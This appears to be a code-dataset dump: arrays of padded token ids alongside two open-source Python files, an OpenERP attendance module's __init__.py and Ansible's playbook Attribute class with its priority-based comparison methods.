[ 636, 2443, 363, 492, 4629, 199, 646, 2680, 465, 485, 1590, 199, 513, 63, 1313, 275, 6110, 1590, 14, 8237, 12, 769, 9, 199, 4904, 275, 2069, 480, 262, 9693, 531, 199, 199, 318, 574, 63, 8911, 8, 585, 12, 3462, 29, 16, 304, 272, 408, 272, 1432, 282, 1824, 972, 1059, 402, 282, 574, 339, 7628, 272, 3001, 13, 272, 574, 520, 1263, 267, 710, 574, 1314, 365, 7871, 272, 3462, 520, 1109, 267, 437, 1748, 620, 2582, 574, 272, 408, 272, 2203, 275, 488, 272, 340, 1228, 8, 585, 12, 769, 63, 1313, 304, 267, 340, 822, 8, 585, 13032, 20, 26, 288, 340, 1228, 8, 585, 59, 16, 467, 9446, 304, 355, 1475, 495, 275, 26503, 68, 12, 450, 68, 12, 14263, 450, 68, 12, 450, 68, 8480, 288, 916, 1228, 8, 585, 59, 16, 467, 19945, 304, 355, 1475, 495, 275, 7369, 8530, 31706, 556, 9, 83, 12, 11539, 31706, 556, 9, 83, 12, 14263, 11539, 31706, 556, 9, 83, 12, 11539, 31706, 556, 9, 83, 8480, 450, 971, 1169, 2069, 63, 908, 342, 288, 587, 26, 355, 1475, 495, 275, 26503, 83, 12, 450, 83, 12, 14263, 450, 83, 12, 450, 83, 8480, 288, 2203, 275, 1475, 495, 450, 334, 585, 59, 16, 467, 574, 59, 17, 467, 574, 1988, 18, 467, 574, 1988, 17, 566, 267, 916, 822, 8, 585, 9, 508, 378, 26, 288, 2203, 275, 7369, 8480, 267, 587, 26, 288, 340, 1228, 8, 585, 59, 16, 467, 9446, 304, 355, 1475, 495, 275, 2071, 68, 2, 288, 916, 1228, 8, 585, 59, 16, 467, 19945, 304, 355, 1475, 495, 275, 2071, 17229, 2840, 556, 9, 83, 2, 450, 2069, 63, 908, 342, 288, 587, 26, 355, 1475, 495, 275, 2071, 83, 2, 953, 1475, 495, 275, 26503, 83, 8480, 450, 334, 401, 3680, 904, 8, 908, 495, 367, 284, 315, 1425, 8, 552, 8, 585, 1724, 776, 288, 2203, 275, 1475, 495, 450, 2008, 8, 585, 9, 2286, 916, 1228, 8, 585, 12, 2069, 304, 267, 340, 574, 508, 10739, 26, 288, 2203, 275, 1867, 1845, 18, 60, 88, 1299, 60, 88, 25, 69, 2, 267, 916, 574, 508, 446, 4904, 26, 288, 2203, 275, 298, 2696, 1845, 18, 60, 88, 1299, 60, 88, 25, 69, 2, 2286, 916, 1228, 8, 585, 12, 620, 304, 267, 2203, 275, 4700, 8, 585, 9, 5493, 340, 2203, 365, 488, 26, 267, 2203, 275, 620, 8, 585, 9, 2286, 340, 3462, 508, 378, 26, 267, 372, 2203, 272, 372, 21170, 63, 42, 7698, 8, 3292, 12, 3462, 9, 199, 199, 533, 13114, 8, 785, 304, 272, 408, 272, 437, 3486, 1021, 367, 1720, 316, 7907, 282, 1627, 574, 365, 4453, 282, 9842, 1425, 272, 408, 272, 347, 636, 826, 721, 277, 12, 2312, 29, 403, 12, 1026, 29, 403, 12, 16484, 29, 403, 12, 22146, 29, 403, 304, 267, 408, 267, 2790, 282, 13114, 398, 7628, 267, 3001, 13, 267, 2312, 520, 6917, 334, 4144, 9, 288, 598, 5588, 2419, 503, 4472, 12, 1425, 3304, 402, 1423, 267, 1026, 520, 6917, 334, 4144, 9, 288, 6401, 2419, 503, 4472, 12, 1425, 3304, 402, 1423, 267, 16484, 520, 6917, 334, 4144, 9, 288, 598, 5588, 2419, 12, 1425, 3304, 402, 1423, 267, 22146, 520, 6917, 334, 4144, 9, 288, 6401, 2419, 12, 1425, 3304, 402, 1423, 267, 408, 267, 4156, 275, 359, 303, 12, 16484, 12, 1026, 12, 22146, 61, 267, 1687, 1247, 275, 2097, 303, 401, 298, 3308, 401, 298, 274, 401, 298, 4116, 937, 398, 327, 25109, 1686, 15821, 402, 2074, 267, 340, 1026, 365, 440, 488, 436, 22146, 365, 440, 488, 26, 288, 574, 63, 705, 480, 6612, 1218, 282, 283, 4709, 7, 5893, 1867, 717, 298, 10727, 283, 274, 7, 436, 283, 4116, 9859, 267, 340, 2312, 365, 440, 488, 436, 16484, 365, 440, 488, 26, 288, 574, 63, 705, 480, 6612, 1218, 282, 283, 4709, 7, 5893, 1867, 717, 298, 10727, 283, 303, 7, 436, 283, 3308, 9859, 2728, 327, 25109, 1686, 2943, 367, 283, 4709, 11834, 7, 267, 367, 1687, 12, 1687, 354, 315, 3482, 8, 1483, 12, 1687, 1247, 304, 288, 340, 440, 334, 411, 365, 488, 503, 1228, 8, 411, 12, 19945, 2298, 355, 730, 63, 705, 480, 2062, 282, 6917, 367, 314, 1543, 83, 7, 1680, 2, 450, 1687, 354, 9, 398, 327, 664, 10976, 267, 30135, 275, 16484, 340, 16484, 365, 440, 488, 587, 2312, 340, 2312, 365, 440, 488, 587, 446, 4904, 267, 23291, 275, 22146, 340, 22146, 365, 440, 488, 587, 1026, 340, 1026, 365, 440, 488, 587, 10739, 398, 340, 30135, 690, 23291, 26, 288, 574, 63, 705, 480, 2062, 314, 23291, 370, 506, 12142, 2419, 30135, 531, 398, 327, 7448, 367, 511, 436, 4700, 267, 1425, 63, 6321, 275, 1052, 267, 1425, 63, 6321, 905, 827, 411, 937, 275, 15281, 628, 340, 16484, 365, 488, 587, 28192, 267, 1425, 63, 6321, 905, 988, 411, 937, 275, 3886, 628, 340, 22146, 365, 488, 587, 3886, 2, 267, 1425, 63, 6321, 905, 827, 585, 937, 275, 620, 8, 827, 637, 9, 267, 1425, 63, 6321, 905, 988, 585, 937, 275, 620, 8, 30909, 9, 2728, 327, 7448, 367, 7268, 870, 267, 1425, 63, 6321, 905, 827, 411, 63, 908, 937, 275, 32607, 340, 16484, 365, 488, 587, 26054, 267, 1425, 63, 6321, 905, 988, 411, 63, 908, 937, 275, 298, 8480, 340, 22146, 365, 488, 587, 19607, 267, 1425, 63, 6321, 905, 827, 908, 937, 275, 574, 63, 8911, 8, 827, 637, 9, 267, 1425, 63, 6321, 905, 988, 908, 937, 275, 574, 63, 8911, 8, 30909, 9, 267, 291, 14, 1842, 63, 6321, 275, 1425, 63, 6321, 398, 291, 14, 1842, 63, 2579, 63, 495, 275, 298, 2734, 574, 520, 485, 452, 8, 585, 2818, 827, 411, 9, 83, 2818, 827, 585, 9, 83, 9, 1867, 2892, 298, 460, 485, 452, 8, 585, 2818, 988, 411, 9, 83, 2818, 988, 585, 9, 83, 2924, 27744, 2892, 1425, 63, 6321, 398, 291, 423, 262, 63, 1842, 275, 3468, 8, 277, 14, 1842, 63, 2579, 63, 495, 9, 2728, 327, 13930, 2005, 1059, 1202, 367, 7268, 870, 267, 291, 423, 1842, 63, 495, 275, 11792, 827, 411, 0 ]
[ 1, 1, 1, 1, 1, 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ons
hr_attendance_sheet_check/__init__.py
4
1180
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # Copyright (C) 2010-2012 ChriCar Beteiligungs- und Beratungs- GmbH (<http://www.camptocamp.at>) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4: import hr_attendance_check
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 258, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 259, 1898, 334, 35, 9, 7129, 13, 7409, 2799, 322, 16034, 6423, 266, 1638, 17924, 458, 13, 625, 68, 23207, 292, 324, 458, 13, 23428, 8642, 1014, 921, 1544, 14, 20290, 475, 20290, 14, 292, 18956, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 420, 199, 3, 199, 4605, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 646, 16140, 63, 23985, 63, 1074, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 258, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 259, 1898, 334, 35, 9, 7129, 13, 7409, 2799, 322, 16034, 6423, 266, 1638, 17924, 458, 13, 625, 68, 23207, 292, 324, 458, 13, 23428, 8642, 1014, 921, 1544, 14, 20290, 475, 20290, 14, 292, 18956, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 420, 199, 3, 199, 4605, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 199, 646, 16140, 63, 23985, 63, 1074, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
tima/ansible
lib/ansible/playbook/attribute.py
39
4253
# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type from copy import deepcopy class Attribute: def __init__( self, isa=None, private=False, default=None, required=False, listof=None, priority=0, class_type=None, always_post_validate=False, inherit=True, alias=None, extend=False, prepend=False, ): """ :class:`Attribute` specifies constraints for attributes of objects which derive from playbook data. The attributes of the object are basically a schema for the yaml playbook. :kwarg isa: The type of the attribute. Allowable values are a string representation of any yaml basic datatype, python class, or percent. (Enforced at post-validation time). :kwarg private: (not used) :kwarg default: Default value if unspecified in the YAML document. :kwarg required: Whether or not the YAML document must contain this field. If the attribute is None when post-validated, an error will be raised. :kwarg listof: If isa is set to "list", this can optionally be set to ensure that all elements in the list are of the given type. Valid values here are the same as those for isa. :kwarg priority: The order in which the fields should be parsed. Generally this does not need to be set, it is for rare situations where another field depends on the fact that another field was parsed first. :kwarg class_type: If isa is set to "class", this can be optionally set to a class (not a string name). The YAML data for this field will be passed to the __init__ method of that class during post validation and the field will be an instance of that class. :kwarg always_post_validate: Controls whether a field should be post validated or not (default: True). :kwarg inherit: A boolean value, which controls whether the object containing this field should attempt to inherit the value from its parent object if the local value is None. :kwarg alias: An alias to use for the attribute name, for situations where the attribute name may conflict with a Python reserved word. """ self.isa = isa self.private = private self.default = default self.required = required self.listof = listof self.priority = priority self.class_type = class_type self.always_post_validate = always_post_validate self.inherit = inherit self.alias = alias self.extend = extend self.prepend = prepend if default is not None and self.isa in ('list', 'dict', 'set'): self.default = deepcopy(default) else: self.default = default def __eq__(self, other): return other.priority == self.priority def __ne__(self, other): return other.priority != self.priority # NB: higher priority numbers sort first def __lt__(self, other): return other.priority < self.priority def __gt__(self, other): return other.priority > self.priority def __le__(self, other): return other.priority <= self.priority def __ge__(self, other): return other.priority >= self.priority class FieldAttribute(Attribute): pass
gpl-3.0
[ 3, 334, 67, 9, 6029, 13, 7280, 12, 16922, 22453, 665, 22333, 14, 24247, 32, 6799, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 3, 4155, 2803, 1655, 2366, 19, 13, 2453, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 504, 1331, 492, 14800, 421, 199, 533, 3882, 26, 339, 347, 636, 826, 721, 267, 291, 12, 267, 365, 65, 29, 403, 12, 267, 5726, 29, 797, 12, 267, 849, 29, 403, 12, 267, 1415, 29, 797, 12, 267, 769, 1618, 29, 403, 12, 267, 7464, 29, 16, 12, 267, 1021, 63, 466, 29, 403, 12, 267, 3544, 63, 1932, 63, 3502, 29, 797, 12, 267, 8287, 29, 549, 12, 267, 5162, 29, 403, 12, 267, 12247, 29, 797, 12, 267, 18213, 29, 797, 12, 272, 3461, 398, 408, 267, 520, 533, 1705, 1646, 64, 9314, 9565, 367, 3004, 402, 2251, 1314, 267, 23519, 687, 15695, 666, 14, 221, 710, 3004, 402, 314, 909, 787, 26014, 267, 282, 4177, 367, 314, 8864, 15695, 14, 398, 520, 12745, 365, 65, 26, 710, 730, 402, 314, 2225, 14, 221, 9812, 461, 1338, 787, 282, 1059, 288, 6025, 402, 1263, 8864, 5678, 16048, 12, 2366, 1021, 12, 503, 8878, 14, 288, 334, 1327, 28074, 737, 2963, 13, 6136, 900, 680, 267, 520, 12745, 5726, 26, 334, 1397, 1202, 9, 267, 520, 12745, 849, 26, 3758, 574, 340, 21994, 315, 314, 18916, 2213, 14, 267, 520, 12745, 1415, 26, 7480, 503, 440, 314, 18916, 2213, 1471, 1395, 642, 901, 14, 288, 982, 314, 2225, 365, 488, 1380, 2963, 13, 24372, 12, 376, 1125, 911, 506, 4915, 14, 267, 520, 12745, 769, 1618, 26, 982, 365, 65, 365, 663, 370, 298, 513, 401, 642, 883, 14190, 506, 663, 370, 288, 4868, 626, 1006, 4008, 315, 314, 769, 787, 402, 314, 1627, 730, 14, 4821, 288, 1338, 2348, 787, 314, 2011, 465, 5204, 367, 365, 65, 14, 267, 520, 12745, 7464, 26, 710, 1865, 315, 1314, 314, 1504, 1077, 506, 4565, 14, 1464, 1183, 288, 642, 1630, 440, 1929, 370, 506, 663, 12, 652, 365, 367, 24063, 24325, 2382, 4573, 288, 901, 8350, 641, 314, 10572, 626, 4573, 901, 1990, 4565, 1642, 14, 267, 520, 12745, 1021, 63, 466, 26, 982, 365, 65, 365, 663, 370, 298, 533, 401, 642, 883, 506, 14190, 663, 370, 288, 282, 1021, 334, 1397, 282, 1059, 536, 680, 710, 18916, 666, 367, 642, 901, 911, 506, 288, 3032, 370, 314, 636, 826, 363, 1083, 402, 626, 1021, 5309, 2963, 6411, 436, 288, 314, 901, 911, 506, 376, 1256, 402, 626, 1021, 14, 267, 520, 12745, 3544, 63, 1932, 63, 3502, 26, 29001, 3775, 282, 901, 1077, 506, 2963, 288, 16468, 503, 440, 334, 885, 26, 715, 680, 267, 520, 12745, 8287, 